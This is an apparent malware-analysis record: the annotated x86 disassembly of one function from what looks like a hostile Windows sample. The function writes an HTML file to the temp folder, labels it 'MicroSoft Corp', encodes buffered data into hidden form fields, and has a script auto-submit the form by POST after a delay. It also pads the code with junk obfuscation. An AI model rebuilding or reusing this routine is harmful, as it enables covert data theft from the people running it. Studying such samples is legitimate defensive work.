Function at 0x404532
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20040
call fcn.004079e4
push ebx
push esi
push edi
mov esi, 0x1bf26b77
add esi, 0x44dd
and dword [ebp - 0x1000c], 0
and dword [ebp - 0x20014], 0
add esi, 0x41ac
lea eax, [ebp - 0x10008]
push eax
push dword [ebp + 0xc]
call fcn.00403619
add esp, 8
mov ebx, eax
or ebx, ebx
jne 0x404580
xor eax, eax
jmp 0x405096
cmp dword [ebp - 0x10008], 0
jne 0x404596
push ebx
call sub.KERNEL32.DLL_LocalFree
xor eax, eax
jmp 0x405096
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x20028], eax
mov eax, 0x19
mul dword [ebp - 0x10008]
mov dword [ebp - 0x2002c], eax
mov edi, dword [ebp - 0x20028]
imul edi, dword [ebp - 0x20028], 0x32
mov edx, dword [ebp - 0x2002c]
lea edi, [edx + edi + 0x400]
push edi
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov dword [ebp - 0x10004], eax
mov eax, esi
sub eax, esi
mov esi, eax
push dword [ebp + 8]
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov eax, esi
sub eax, esi
mov esi, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20030], eax
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x404604
mov edi, eax
push 8
mov edx, dword [ebp - 0x20030]
add edx, edi
push edx
call fcn.004015ea
add esp, 8
push str..htm
push dword [ebp + 8]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._html_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_sprintf
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404668
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40469d
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
mov eax, esi
mul esi
mov dword [ebp - 0x20034], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4046ce
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._head_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404706
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x598b
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404741
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push dword [ebp + 0x24]
push str.MicroSoft_Corp
mov eax, dword [ebp - 0x10004]
push eax
push str._s_title__s_u__title_
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404783
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.__head_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4047bb
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
add esi, 0x506f
push str._body_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404809
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0x3e8
cdq
idiv ecx
push edx
push str.f_.3u
lea edi, [ebp - 0x20022]
push edi
call sub.CRTDLL.DLL_sprintf
lea eax, [ebp - 0x20022]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebp - 0x10004]
push eax
push str._s_form_action__s__method_POST__name__s__
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x20
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40487c
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
add esi, 0x2d92
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4048a7
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4048cc
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x4048f1
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
sub esi, 0x41af
push 0x42caab
push dword [ebp + 0x14]
mov eax, dword [ebp - 0x10004]
push eax
push str._s_input_type_edit__value_s_name_s__br__r_n
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404939
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40495e
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
sub eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404999
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
cmp dword [ebp + 0x20], 0
je 0x404b12
and dword [ebp - 0x20038], 0
jmp 0x404af5
mov byte [ebp - 0x10000], 0
sub esi, 0x6d53
and dword [ebp - 0x2003c], 0
jmp 0x404a3b
mov eax, dword [ebp - 0x20038]
add eax, dword [ebp - 0x2003c]
cmp eax, dword [ebp - 0x10008]
jae 0x404a4b
mov edi, dword [ebp - 0x20038]
add edi, dword [ebp - 0x2003c]
movzx edi, byte [ebx + edi]
mov eax, edi
mov ecx, 0x1a
cdq
idiv ecx
add edx, 0x61
push edx
mov eax, edi
mov ecx, 0x1a
mov edx, 0x4ec4ec4f
mul edx
shr edx, 3
mov dword [ebp - 0x20040], edx
mov edi, edx
add edi, 0x61
push edi
lea edi, [ebp - 0x10000]
push edi
push str._s_c_c
lea edi, [ebp - 0x10000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
mov eax, esi
add eax, esi
mov esi, eax
inc dword [ebp - 0x2003c]
cmp dword [ebp - 0x2003c], 0x80
jb 0x4049c5
push dword [ebp - 0x1000c]
push dword [ebp + 0x18]
lea eax, [ebp - 0x10000]
push eax
mov eax, dword [ebp - 0x10004]
push eax
push str._s_input_type_edit__value_s_name_s_u__br__r_n
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404a95
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404aba
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404adf
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
sub eax, esi
mov esi, eax
add dword [ebp - 0x20038], 0x80
inc dword [ebp - 0x1000c]
mov eax, dword [ebp - 0x10008]
cmp dword [ebp - 0x20038], eax
jb 0x4049af
mov dword [ebp - 0x20014], eax
jmp 0x404c87
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10008], eax
jmp 0x404c63
cmp byte [ebp - 0x10000], 0
je 0x404c63
xor esi, 0x49cf
mov eax, dword [ebp + 0x1c]
add eax, 0xc800
cmp dword [ebp - 0x10008], eax
jae 0x404c87
mov eax, dword [ebp - 0x10008]
mov dword [ebp - 0x20014], eax
push dword [ebp + 0x14]
push 0x42ca6d
lea eax, [ebp - 0x2000c]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x2000c]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x404b73
mov edi, eax
mov word [ebp - 0x20036], di
lea eax, [ebp - 0x10000]
push eax
movzx eax, word [ebp - 0x20036]
lea eax, [ebp + eax - 0x2000c]
push eax
call fcn.00407a04
lea eax, [ebp - 0x2000c]
push eax
call fcn.0040447a
add esp, 4
mov dword [ebp - 0x20010], eax
mov eax, esi
sub eax, esi
mov esi, eax
push dword [ebp - 0x1000c]
push dword [ebp + 0x18]
push dword [ebp - 0x20010]
mov eax, dword [ebp - 0x10004]
push eax
push str._s_input_type_edit__value_s_name_s_u__br__r_n
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404c02
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404c27
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404c4c
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x577e
push dword [ebp - 0x20010]
call sub.KERNEL32.DLL_LocalFree
inc dword [ebp - 0x1000c]
lea eax, [ebp - 0x10000]
push eax
push dword [ebp - 0x10008]
push ebx
call fcn.004043bf
add esp, 0xc
mov dword [ebp - 0x10008], eax
or eax, eax
jne 0x404b20
push str._input_type_submit__value_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404cbf
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404ce4
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404d09
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x34a0
push str.__form_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404d57
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404d7c
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404da1
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x6973
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404dcc
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404e01
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push str._script_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
add eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404e3f
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.function_z__
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404e77
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x42ca2e
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x7ab2
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404eb5
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
lea eax, [ebp - 0x20022]
push eax
mov eax, dword [ebp - 0x10004]
push eax
push str._sdocument._s.submit___
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404ef6
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
mul esi
mov dword [ebp - 0x20038], eax
mov esi, eax
push 0x42ca14
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404f3a
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0x3e8
cdq
idiv ecx
mov edi, edx
add edi, 0x2710
push edi
mov edi, dword [ebp - 0x10004]
push edi
push str._ssetTimeout__z_____u__
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404f8a
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
sub esi, 0x86e
push str.__script_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404fc8
push 0x42cc6c
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x404ffd
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push str.__body__html_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, 0x6a1c
mul esi
mov dword [ebp - 0x2003c], eax
mov esi, eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x20018], eax
push dword [ebp - 0x10004]
call sub.KERNEL32.DLL_lstrlenA
push 0
lea edi, [ebp - 0x1000c]
push edi
push eax
push dword [ebp - 0x10004]
push dword [ebp - 0x20018]
call sub.KERNEL32.DLL_WriteFile
mov eax, esi
mul esi
mov dword [ebp - 0x20040], eax
mov esi, eax
push dword [ebp - 0x20018]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x10004]
call sub.KERNEL32.DLL_LocalFree
xor esi, 0x5199
push ebx
call sub.KERNEL32.DLL_LocalFree
mov eax, dword [ebp - 0x20014]
pop edi
pop esi
pop ebx
leave
ret